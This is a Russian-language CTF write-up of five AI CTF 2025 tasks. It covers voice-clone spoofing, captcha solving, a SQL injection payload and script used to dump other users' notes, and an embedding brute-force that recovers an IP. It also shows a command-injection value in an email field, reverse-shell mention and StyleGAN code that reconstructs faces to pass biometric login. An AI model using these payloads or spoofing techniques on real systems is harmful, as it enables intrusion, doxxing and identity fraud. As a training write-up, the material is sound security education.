
Всем привет! Публикуем вторую и заключительную часть разбора заданий конкурса AI CTF 2025.
Задания в этой части повышенной сложности, приготовьтесь вспоминать, как работают ML-модели и сервисы, их использующие.
Статья носит исключительно информационный характер и не является инструкцией или призывом к совершению противоправных деяний. Наша цель — рассказать о существующих уязвимостях, которыми могут воспользоваться злоумышленники, предостеречь пользователей и дать рекомендации по защите своей личной информации в Интернете. Авторы не несут ответственности за использование информации. Помните, что не стоит забывать о безопасности своих личных данных.
Medium — VoiceGuard [biometrics][60%ML]
Author: Alexander Migutskiy (@amg_core), PT ML Team The task is simple: just pass two checks. |

Задача на голосовую биометрию — веб‑сервис с семплом речи авторизованной персоны, целевым текстом, который нужно произнести этим голосом, и полем для загрузки созданной подделки.
Стек
Система проверяет созданную подделку в несколько этапов:
Распознавание текста моделью Whisper. Получаем транскрипт произнесённого текста.
Подсчёт эмбеддинга текста с помощью all‑MiniLM‑L6-v2. Сравниваем эмбеддинг транскрипта с эмбеддингом эталонного текста. Так проверяем, что пользователь произнес требуемую фразу, не требуя 100% точности распознавания речи.
Сравнение эмбеддинга загруженного аудио, подсчитанного моделью CLAP для голоса.
Варианты решений
Поднять свой генератор голоса из опенсорса, сделать и сдать подделку.
Мы провели исследование опенсорсных генераторов речи, из которого узнали, что f5-tts дает неплохой результат. Создаем подделку и загружаем в систему.


Для продвинутых сценариев возможен и альтернативный, полуручной подход к решению: поскольку защита не предназначена для промышленной эксплуатации, её можно обойти, применив доступные онлайн‑клоны голоса, сгенерировав множество вариантов и перебрав их. Метод трудоёмкий и не слишком удобный, но технически осуществим.

Эта задача дополнительно разбиралась на Хакерском кружке.
Medium — Athrad Edhellen [coding][visual][80%ML]

Нас просят распознать 100 картинок с числами, записанных эльфиской письменностью Тенгвар. На распознавание можно потратить не больше 5 минут. По истечении времени таймер перезапускается и челендж нужно проходить сначала.
Разбираемся с особенностями эльфийских чисел (в этом нам помогает ссылка‑подсказка, появляющаяся после 12-й неудачной попытки — https://www.tecendil.com/tengwar‑handbook/):
числа записаны в 12-ричной системе счисления;
порядок записи цифр — little‑endian (сначала идут менее значимые разряды).
Чтобы пройти 100 эльфийских капч, обучим собственную модель для их распознавания. Для начала подготовим датасет: пары картинка+текст. С сайта по изучению письменности Тенгвар скачиваем необходимые шрифты и используем их для генерации случайных примеров (реализовано в этом скрипте: ds‑prepare.py).
В качестве распознающей модели достаточно взять предобученный resnet-18 и переопределить у него распознающие головы (мы будем распознавать сразу все 6 цифр капчи).
import torch, torch.nn as nn
from torchvision import models
class DigitRecognizer(nn.Module):
def init(self, num_classes=12, num_digits=6):
super().__init__()
base = models.resnet18(weights=models.ResNet18_Weights.IMAGENET1K_V1)
self.backbone = nn.Sequential(*list(base.children())[:-2]) # remove avgpool & fc
self.avgpool = nn.AdaptiveAvgPool2d((1,1))
self.heads = nn.ModuleList([
nn.Linear(512, num_classes) for in range(numdigits)
])
def forward(self, x):
x = self.backbone(x)
x = self.avgpool(x)
x = torch.flatten(x, 1)
return [head(x) for head in self.heads]
При обучении не забываем использовать аугментации, чтобы наш классификатор был более устойчивым к помехам.
import kornia.augmentation as K
class KorniaAugmentations(nn.Module):
def init(self):
super().__init__()
self.augment = nn.Sequential(
K.RandomAffine(degrees=5, translate=0.02, scale=(0.95, 1.05), p=0.8),
K.RandomRotation(degrees=3.0, p=0.5),
K.ColorJitter(0.1, 0.1, 0.1, 0.05, p=0.5),
K.RandomErasing(scale=(0.01, 0.05), ratio=(0.3, 3.3), p=0.4)
)
def forward(self, x):
return self.augment(x)
Для выборки размером 100 000 примеров достаточно пары эпох, чтобы дообучить наш классификатор работать с точностью, близкой к 100%.
def train_epoch(model, dataloader, optimizer, criterion, device, augmenter=None):
model.train()
N, total_loss = 0, 0
progress = tqdm.tqdm(dataloader)
for images, labels in progress:
N += len(images)
images, labels = images.to(device), labels.to(device)
if augmenter is not None:
images = augmenter(images)
outputs = model(images)
loss = sum(criterion(out, labels[:, i]) for i, out in enumerate(outputs))
optimizer.zero_grad()
loss.backward()
optimizer.step()
total_loss += loss.item()
progress.set_description(f"N={N}; loss={total_loss/N:.4f}")
return total_loss / N
Пишем простой скрипт, автоматически проходящий челлендж. Он получает новую капчу, распознаёт её натренированной моделью и постит ответ (и так до 100 удачных прохождений). Вот его реализация: exploit.py
Ремарка. Если внимательно проследить js‑код, можно заметить, что при получении капчи явно указывается шрифт, которым она будет сгенерирована. Данное замечание позволит нам сократить обучающую выборку и обучать модель, работающую только с самым простым из шрифтов на наш выбор.
Hard — Privnote [llm][web][65%CTF]
Author: Lev Reznichenko (@mkvfaa), SPbCTF The idea behind Privnote is simple: you create a short note, the recipient reads it once, and the note is forever gone. The backend only stores the ciphertext, and all the encryption happens entirely on the client side. But here”s the catch—I have a tip that the admin of this so‑called “private note” service left a note in his own account. That note contains the IP address of his personal file stash where he keeps his private documents. And we really need to doxx him! Maybe you can dig it up? Source code: privnote_f8b4cff.tar.gz |

Сервис позволяет пользователям создавать «самоуничтожающиеся» заметки. Вся шифровка происходит на клиенте, сервер хранит только зашифрованный текст. Админ оставил заметку в своей учётке, в ней содержится IP‑адрес его хранилища с файлами, включая скан паспорта. Цель — его найти.
К заданию приложен код сервиса, и из кода ясно, что ручка поиска /api/search/similar
уязвима к SQL‑инъекции. API-сервер выполняет SQL‑запрос, используя переданный пользователем JSON embedding без валидации и экранирования.
@app.post("/search/similar")
async def search_similar():
try:
request_data = await request.json()
embedding = request_data.get('embedding', [])
query = f"""SELECT id, title, cypher_text, created_at, is_viewed, embedding, embedding <=> '{embedding}' AS distance FROM notes WHERE owner_id = '{current_user.id}' AND is_deleted = false AND embedding IS NOT NULL ORDER BY distance"""
result = db.execute(text(query))
Пример запроса для эксплуатации:{"embedding": "[0.0, 0.0,...,0.0]' as distance from notes -- -"}
Чтобы не крафтить длинный эмбеддинг руками, сделаем это скриптом:
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
embeddings = [0.0]*1536
payload = {"embedding": f"{embeddings}' as distance from notes --"}
response = requests.post(
f"{BASE_URL}/search/similar",
headers=headers,
json=payload
)
results = response.json()
Так мы из поиска можем получить все записи, хранящиеся в БД, даже не принадлежащие нам. Та, что нам интересна, имеет заголовок «Top secret: IP address of my file stash server» и оставлена админом. К сожалению, в этом сервисе содержимое всех записок хранится в зашифрованном виде, и мы не можем её прочитать.
Текст записки зашифрован, но из базы мы также вытаскиваем embedding её содержимого, который хранится там для поиска. Из кода мы знаем название модели, которой он посчитан (text-embedding-ada-002) — и нам даже доступна сама ручка подсчёта эмбеддингов, на которую ходит фронтенд.
Мы знаем, что в записке точно лежит IP‑адрес, а значит, можем попробовать получить его перебором по эмбеддингам следующим алгоритмом:
разбиваем IP на 4 октета;
генерируем все 256 вариантов октета;
превращаем всё это в тексты вида X. или X.Y. или X.Y.Z.;
отправляем модели эти тексты и получаем их embedding;
сравниваем embedding каждого кандидата с искомым эмбеддингом заметки админа — по косинусному сходству;
выбираем с наименьшим расстоянием;
повторяем для каждого из 4 октетов.
Скрипт: https://gist.github.com/v0s/67bc48 865 451b871a4ed264 045f5ecfd
Поэкспериментировав, можно обнаружить, что иногда наиболее близкие эмбеддинги получаются для верных чисел, но с перемешанным порядком октетов:
Top 5 guesses for octet 1:
1. 60 (score: 0.15240979617062322)
2. 38 (score: 0.16108681462509344)
3. 40 (score: 0.1656382299536222)
4. 36 (score: 0.16714874380983824)
5. 42 (score: 0.17027767767314617)
Selected: 60
Top 5 guesses for octet 2:
1. 217 (score: 0.08601186993932086)
2. 216 (score: 0.09853250863613505)
3. 218 (score: 0.10299188026449557)
4. 215 (score: 0.10336019836703159)
5. 192 (score: 0.10594563283983671)
Selected: 217
Top 5 guesses for octet 3:
1. 38 (score: 0.05120576066293814)
2. 134 (score: 0.05400289479795939)
3. 94 (score: 0.054048871842033)
4. 37 (score: 0.054609333839567675)
5. 89 (score: 0.05491877708427473)
Selected: 38
Top 5 guesses for octet 4:
1. 134 (score: 0.0370515125639046)
2. 84 (score: 0.03890279482421943)
3. 133 (score: 0.039070599624769775)
4. 123 (score: 0.0394772259272288)
5. 129 (score: 0.03970103064766961)
Selected: 134
============================================
Guessed IP address: 60.217.38.134
============================================
Однако восстановить верный порядок октетов несложно: достаточно просканировать 24 IP-адреса (все варианты перестановки октетов), чтобы обнаружить верный: http://38.60.217.134/
Переходим по адресу и находим там скан паспорта.

Hard — LeMUN [web][biometrics][90%ML]
Author: Gleb Kumichev (@gleb_kumichev), PT ML Team LeMUN Technologies recently launched their new Face Authentication System, quickly adopted by government agencies for critical access control. Demo instance of their system was easy to hack, and it seems like they rolled out the same admin account onto all their instances. Get access to the Government Personal Data Portal protected with their authentication. The vulnerability that is still present on the demo instance, isn”t there on the govt portal. Hint added at 17:02 UTC — It has been disclosed that LeMUN uses this snippet for their demo request handing: pastebin.com/gQQReVTW |
По легенде, компания LeMUN разработала сервис биометрической аутентификации, многие компании начали его использовать, в том числе и государственный сервис персональных данных. Для получения флага требовалось прохождение аутентификации в этом сервисе.
Для решения задачи участникам предоставлялось 2 веб‑сервиса: один содержал лендинг компании LeMUN с сервисом аутентификации, второй — гос. сервис, использующий ту же технологию аутентификации. Для прохождения аутентификации эмбеддинг изображения сравнивался с целевым, мерой сходства была cosine similarity.

Для решения требовалось извлечь необходимые данные из сервиса с лендингом, далее при помощи ML и полученных данных восстановить изображение лица, с которым можно пройти аутентификацию на сайте гос. сервиса. Решение подразумевало несколько возможных подходов. Рассмотрим подробнее, как можно было решить задачу и как ее решили участники.
Взлом лендинга LeMUN
Подразумевалось, что это будет самой простой частью задачи. Сервис содержал уязвимость Command injection, при помощи которой можно было получить информацию о том, как происходит аутентификация: какая модель и препроцессинг используются для получения эмбеддинга лица, а также выкачать базу с эмбеддингами зарегистрированных пользователей, один из которых является админом.
RCE-уязвимость была в валидации почты в форме запроса демо:
@app.post("/submit_request")
async def submit_request(email: str = Form(...)):
domain = email.split("@")[-1]
cmd = f"timeout 1 ping -n -c 1 -W 0.001 {domain}"
try:
result = subprocess.run(cmd, shell=True, timeout=2)
Проверка валидности домена позволяла выполнить произвольный код, например, отправив в поле регистрации емейл some@mail.ru ; ls -R
. Результаты проверки записывались в логи, которые можно было посмотреть в API-ручке, доступной через swagger — или вслепую запустить reverse shell, который подключится на наш IP и даст интерактивную консоль. Добившись выполнения команд, можно было получить информацию о содержимом сервиса.

На этом мы получили доступ к БД эмбеддингов лиц, один из которых соответствует логину Admin, а также к пайплайну обработки изображения и названию модели (google/vit-base-patch16-224-in21k), которую можно было скачать с HuggingFace.
Восстановление изображения
Вооружившись эмбеддингом и моделью, мы можем попробовать восстановить изображение, которое позволит пройти аутентификацию. Стоит отметить, что восстановить абсолютно идентичное изображение зная эмбеддинг и модель невозможно, но получить такое изображение, которое пройдет аутентификацию даже с высоким порогом сходства — вполне. Для восстановления изображения можно действовать по-разному, при составлении задачи рассматривались такие подходы:
-
Методом градиентного спуска оптимизировать случайное изображение так, чтобы его эмбеддинг был близок к целевому. Это самый простой и не требовательный к ресурсам подход. Однако он не очень интересен, поскольку итоговое изображение будет выглядеть как случайный шум и любая реальная система аутентификации его отклонит.
В задаче также была исключена возможность получить флаг таким образом. Для этого перед вычислением эмбеддинга изображение проверялось на наличие строго одного лица при помощи дополнительной модели детекции. При отсутствии лица результат не обрабатывался и пользователя просили загрузить валидное изображение.
Другой способ, являющийся логическим развитием предыдущего — Adversarial Attack — манипуляции с исходным реалистичным изображением, на котором есть лицо, чтобы итоговый эмбеддинг был близок к целевому. Для решения все еще нужно обойти детектор, то есть сохранить лицо на изображении, но само лицо может иметь измененные пиксели, чтобы приблизиться к целевому эмбеддингу. Самый простой подход — усреднение маски из предыдущего подхода с реальным изображением. Для более продвинутого результата можно было оптимизировать изображение с лицом, пользуясь дополнительными loss-функциями, сохраняющими реализм, например с vgg или perceptual loss или добавить регуляризацию, с тем чтобы финальное изображение было близко к исходному.
Все решившие задачу так или иначе пошли примерно этим путем, ниже все успешные решения:

На всех фото в большей или меньшей степени видны искажения, позволяющие «обмануть» энкодер и при этом оставаться достаточно реалистичными для прохождения детектора.
Еще один подход: зная исходную модель, можно составить датасет с изображениями и их эмбеддингами, выполнив инференс картинок из интернета или из публичных датасетов с лицами, например из CelebA. На этом датасете можно обучить свой декодер, который будет восстанавливать изображение по эмбеддингу. Для получения правдоподобных изображений придется повозиться, поскольку без дополнительных трюков изображения будут получаться очень размытыми с невысоким скором.

Решение, которое подразумевалось как основное, — использовать генеративную модель и оптимизировать только latent‑тензор для получения нужного изображения. Такой подход позволяет получить реалистичное изображение с очень скромными требованиями к железу, а в некоторых случаях восстановленное лицо и вовсе становится узнаваемым. Используя, например, генератор лиц StyleGAN, можно подавать в него оптимизируемый latent‑тензор для генерации, полученное изображение прогонять через целевой энкодер и вычислять loss целевого и полученного эмбеддингов. Так, например, при использовании StyleGANv2 нужно оптимизировать всего один тензор размерностью 768 и получить выское сходство эмбеддингов. Например, может быть вы сможете угадать кто был на исходных изображениях?

Ответ

Этот подход позволял стабильно получать реалистичные изображения лиц со сходством выше 0.9.
Сниппет кода оптимизации:
# Получаем лейтент
z = torch.randn([1, 768], device=device)
w = stylegan_generator.mapping(z, None)
latent = w.detach().clone().requires_grad_(True)
# Инициируем оптимайзер
optimizer = torch.optim.Adam([latent], lr=1e-3)
# Оптимизируем лейтент
best_sim = 0
best_latent = None
for step in tqdm(range(100)):
# Генерируем изображение
gen_img = stylegan_generator.synthesis(latent, noise_mode='const')
# Получаем эмбеддинг изображения на целевой модели
embedding_pred = get_embedding(gen_img.to(device), model, processor)
# Вычисляем loss, например, как 1 - cosine_similarity
loss = 1 - F.cosine_similarity(embedding_pred, target_embedding)
# Шаг оптимизации
optimizer.zero_grad()
loss.backward()
optimizer.step()
# Стабилизируем лейтент
with torch.no_grad():
latent.clamp_(-2.0, 2.0)
# Сохраняем лучший результат
cos_sim = F.cosine_similarity(embedding_pred, target_embedding)
if cos_sim > best_sim:
best_sim = cos_sim
best_latent = latent.clone()
А можно ли забрутфорсить? Потенциально — да, но мы постарались снизить вероятность пройти аутентификацию случайной картинкой. Прогнав несколько тысяч реальных и сгенерированных лиц, мы выбирали порог, при котором эти изображения не проходили аутентификацию. С другой стороны, слишком высокий порог мог чрезмерно повысить сложность задачи. В результате остановились на значении 0.8. С одной стороны, несколько тысяч случайных картинок его не превосходили, с другой, его всегда удавалось превзойти со StyleGAN подходом.

Оставался риск, что кто‑нибудь найдет не предусмотренную уязвимость и просто заменит значение порога на 0 и пройдет аутентификацию с произвольной картинкой, но этот риск не реализовался ?
Hard — Is This A Flag? [reverse][internals][70%ML]
Author: Ivan Komarov (@ivan_komarov), SPbCTF No more guessing! Upload an image, and our backdoored custom Vision Transformer will tell you if it contains a part of the flag for this challenge! Source code: is‑this‑a-flag_71 252e5.tar.gz Hints added at 16:30 UTC: 1. The author”s solution does not include any training/fine‑tuning/adversarial attacks 2. The “reverse” tag fits in every sense of the word 3. To solve the task you would require figuring out how exactly the backdoor works |

У задания был незамысловато выглядящий веб‑интерфейс — но взламывать его было бессмысленно, он нужен был только для того, чтобы проиллюстрировать логику работы ML-пайплайна. Участникам выдавался классификатор изображений ViT‑Base в формате ONNX, где прямо внутрь ML-модели был встроен бэкдор, добавляющий к тысяче стандартных классов датасета ImageNet пять новых: «флаг для AI CTF, часть 1/2/3/4/5». Участникам нужно было провести reverse engineering модели, чтобы понять, что именно делает бэкдор и как сгенерировать картинку, которую бэкдор распознает как часть флага.
С форматом хранения моделей ONNX игроки в AI CTF уже сталкивались в прошлом году; тогда предполагалось, что участники проэксплуатируют известную 1-day‑уязвимость в библиотеке для работы с этим форматом.
В этот раз мы решили спуститься на уровень ниже: познакомить участников с внутренним устройством ONNX и показать, что он годится для описания довольно сложной логики, а не только для перемножения матриц (что подметили, например, авторы статьи ShadowLogic).
Начать можно было с открытия исходной модели без бэкдора в визуализаторе Netron. В нём видно, что на вход модели поступает картинка в виде тензора размера (3, 224, 224) (RGB‑изображение 224 на 224):

А на выходе мы получаем логиты размером (BATCH, 1000), из которых получается предсказанная вероятность принадлежности изображения каждому из тысячи классов:

Само тело модели, которое преобразует вход в выход, с непривычки может выглядеть достаточно пугающе — несколько десятков экранов блоков с матричными умножениями, сложениями, делениями, квадратными корнями и манипуляциями размерами тензоров:

Как и в любой задаче на reverse engineering, здесь важно было не потерять лес за деревьями. Семантику каждого отдельного ONNX‑блока можно и нужно было посмотреть в спецификации ONNX, но если открыть исходную статью про ViT, можно было понять, что все эти сотни вычислительных блоков в совокупности реализуют классический, максимально упрощённый по современным меркам трансформер (количество трансформер-блоков L в нашем случае было равно 12):

Norm (LayerNorm) можно было опознать по двум блокам ReduceMean (для вычисления среднего и дисперсии):

Multi‑Head Attention можно было определить по блоку Softmax:


Ну, а MLP отличал блок Erf (для реализации функции активации GELU):

Помимо собственно трансформера, в сети есть ещё пара вспомогательных линейных слоёв на входе и на выходе, но они в Netron'е видны невооружённым глазом и проблем доставлять не должны:

Опираясь на эти знания, уже можно было открыть модель с бэкдором в том же Netron и посмотреть, что отличается. Бэкдор состоит из трёх частей. Первая часть повторяла вход с пикселями три раза и немного меняла входное линейное преобразование для последних двух копий (к этому мы вернёмся чуть ниже). Первая копия обрабатывалась полностью идентично оригинальной модели без бэкдора:

Вторая часть добавляла около каждого слоя несколько блоков, которые немного меняли обработку двух из трёх копий входа. Здесь важно было заметить, что все блоки второй части были вставлены только между слоями, не залезая в их внутренности:

И третья, финальная часть сравнивала полученные результаты для двух из трёх копий входа с некоторыми эталонными тензорами с говорящими названиями вида flag.2. Если результаты совпадали с эталонами с хорошей точностью, то бэкдор заставлял модель говорить, что на изображении обнаружена часть флага:

Основная сложность задания, таким образом, состояла в том, чтобы понять, что делает вторая часть бэкдора — которая преобразует пиксели картинки в тензоры для сравнения. Около каждого слоя трансформера было добавлено всего несколько вычислительных блоков, и если воспринимать компоненты трансформера как чёрные ящики, то можно было заметить, что эти чёрные ящики применяются ко второй и третьей копии входа так, что по выходу слоя всегда можно однозначно восстановить вход.
Особо внимательные участники могли заметить, что такой способ применения трансформерных блоков в точности соответствует статье про Reformer, которая описывает обратимые трансформерные слои и тривиальный способ их обращать:

Поскольку ViT не учился именно в таком обратимом режиме, на выходе получается какой‑то случайный мусор, но для нашего бэкдора это не беда, а совсем наоборот:
Из‑за обратимости каждой картинке с флагом соответствует ровно один выход (с точностью до погрешности вычислений с плавающей точкой), и в третьей части бэкдора как раз и происходит сравнение с этим выходом.
Поскольку это случайный мусор, то из эталонного выхода невозможно восстановить никакой информации о картинке, если честно не обратить все вычисления.
Авторское решение восстанавливает исходный вход трансформера вот так (здесь attns и ffns соответствуют подкомпонентам трансформера, включая нормализацию):
def restore_embeddings(y1, y2, attns, ffns):
assert y1.shape == (197, 768) and y2.shape == (197, 768)
y1 = np.expand_dims(y1, 0)
y2 = np.expand_dims(y2, 0)
def eval_graph(model, inp):
session = ort.InferenceSession(model)
inp_name = session.get_inputs()[0].name
return session.run(None, {inp_name: inp})[0]
for layer_idx, (attn, ffn) in reversed(list(enumerate(zip(attns, ffns)))):
print(f'Inverting FFN #{layer_idx}')
x2 = y2 - eval_graph(ffn, y1)
print(f'Inverting attention #{layer_idx}')
x1 = y1 - eval_graph(attn, x2)
y1, y2 = x1, x2
return y1, y2
Остаётся только преобразовать вход трансформера в исходную картинку. Изначально в авторском решении предполагалось, что участники просто обратят матрицу соответствующего линейного преобразования, но она, к сожалению, довольно чувствительна к небольшим изменениям входных данных, поэтому даже для хорошо восстановленного входа трансформера преобразованная картинка получается довольно зашумлённой:

Поэтому первая часть бэкдора заменяла исходное линейное преобразование на единичную матрицу (оператор EyeLike). В таком случае картинки с частями флага восстанавливались практически идеально:

Итоги
Часть вымышленных сервисов из заданий в каком‑то виде может встретиться и в реальной жизни, и теперь вы точно знаете, с чего начинать проверку их защищенности, ну или как минимум выучили эльфийский ?.
Если вам понравились разборы, обязательно приходите поучаствовать в AI CTF в следующем году, мы его заранее анонсируем в нашем канале.